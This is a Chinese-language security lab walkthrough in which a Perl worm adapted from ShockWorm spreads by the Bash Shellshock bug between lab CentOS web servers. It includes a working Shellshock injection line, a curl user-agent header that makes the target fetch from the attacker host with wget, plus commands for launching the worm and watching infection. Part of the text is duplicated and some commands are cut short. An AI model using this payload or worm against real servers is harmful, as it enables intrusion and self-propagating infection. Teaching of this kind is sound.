1. 程式人生 > 其它 >基於破殼漏洞的的蠕蟲實驗

基於破殼漏洞的的蠕蟲實驗

實驗簡介:

本實驗屬於作業系統安全系列

實驗目的:

通過該實驗瞭解蠕蟲的基本特徵

掌握蠕蟲的傳播方式及使用方法

能夠改進蠕蟲的功能

實驗環境

蠕蟲發起者:centos6.5,IP地址:10.1.1.231

Worm1:centos6.5(web伺服器),1號被感染主機,IP地址:10.1.1.12

Worm2:centos6.5(web伺服器),2號被感染主機 ,IP地址10.1.1.x

預備知識

蠕蟲簡介

蠕蟲定義:一種能夠利用系統漏洞通過網路進行自我傳播的惡意程式。它不需要附著在其他程式上,而是獨立存在的。當形成規模、傳播速度過快時會極大地消耗網路資源導致大面積網路擁塞甚至癱瘓。

計算機蠕蟲與計算機病毒相似,是一種能夠自我複製的計算機程式。

與計算機病毒不同的是,計算機蠕蟲不需要附在別的程式內,可能不用使用者介入操作也能自我複製或執行。它是直接在主機之間的記憶體中進行傳播的。計算機蠕蟲未必會直接破壞被感染的系統,卻幾乎都對網路有害。計算機蠕蟲可能會執行垃圾程式碼以發動分散式阻斷服務攻擊,令計算機的執行效率極大程度降低,從而影響計算機的正常使用;可能會損毀或修改目標計算機的檔案;亦可能只是浪費頻寬。(惡意的)計算機蠕蟲可根據其目的分成2類

一類是面對大規模計算機網路發動拒絕服務的計算機蠕蟲。

另一類是針對個人使用者的執行大量垃圾程式碼的計算機蠕蟲。

本次實驗蠕蟲簡介

本次實驗使用的蠕蟲,是根據github上名為ShockWorm的蠕蟲(專案地址:

https://github.com/matlink/ShockWorm/blob/master/shellshock.pl)改編而成。改動有以下幾點:

1.原蠕蟲只感染一臺主機,本實驗蠕蟲擴大了範圍,使其真正擁有了蠕動性,可以自行傳播(限制了蠕動範圍)。

2.原蠕蟲在感染主機後會修改系統檔案,並且截獲執行sudo命令時輸入的口令。本實驗蠕蟲刪除了此功能,在感染與完成傳播之後,僅執行sleep操作。

本實驗分為三個任務:

任務一:判斷10.1.1.12主機web服務的test.cgi是否存在破殼漏洞;

任務二:蠕蟲發起者執行蠕蟲程式,感染1號主機Worm1;

任務三:觀察Worm1主機蠕蟲的傳播過程,檢查Worm2主機是否被感染

任務一

1.使用ssh登入蠕蟲發起者主機(10.1.1.231),執行下面三條命令。命令執行結果如下圖所示。

tail /var/log/httpd/access_log

curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

tail /var/log/httpd/access_log

2.根據最後一條命令的結果,蠕蟲發起者主機(10.1.1.231)的web日誌中出現了worm1的訪問記錄,說明worm1主機(10.1.1.12)存在破殼漏洞。

任務描述:蠕蟲發起者執行蠕蟲程式,感染1號主機Worm1。

1.為了避免自身被感染,向蠕蟲表明自己是發起者的身份,我們需要登入10.1.1.231主機,通過下面的命令建立一個檔案。

[root@worm-master ~]# touch /tmp/key.txt

2.繼續在10.1.1.231上執行下面的命令,可以找到蠕蟲程式。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

Shellshock.pl

任務描述:蠕蟲發起者執行蠕蟲程式,感染1號主機Worm1。

1.為了避免自身被感染,向蠕蟲表明自己是發起者的身份,我們需要登入10.1.1.231主機,通過下面的命令建立一個檔案。

[root@worm-master ~]# touch /tmp/key.txt

2.繼續在10.1.1.231上執行下面的命令,可以找到蠕蟲程式。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

3.登入worm1,檢視tmp目錄

4.繼續返回10.1.1.231主機,執行下面的命令,來執行蠕蟲程式。

[root@worm-master shockworm]# perl shellshock.p

5.登入Worm1,執行下面的命令,觀察被感染的特徵。

root@worm-test1 tmp]# ls -al

[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/

[root@worm-test1 tmp]# ps aux | grep agent.1337

實驗步驟三

1.登入Worm1(10.1.1.12),不斷的執行命令:“ps aux |grep curl”可以看到蠕蟲的傳播過程,被感染的Worm1通過agent.1337程序,不斷的向同網段的其他主機發起攻擊與感染。如下所示:

經過一段時間之後(大約10分鐘),登入Worm2。同樣使用命令:”ls -al /tmp”檢視,可以發現主機也被此蠕蟲感染。對比效果如下圖: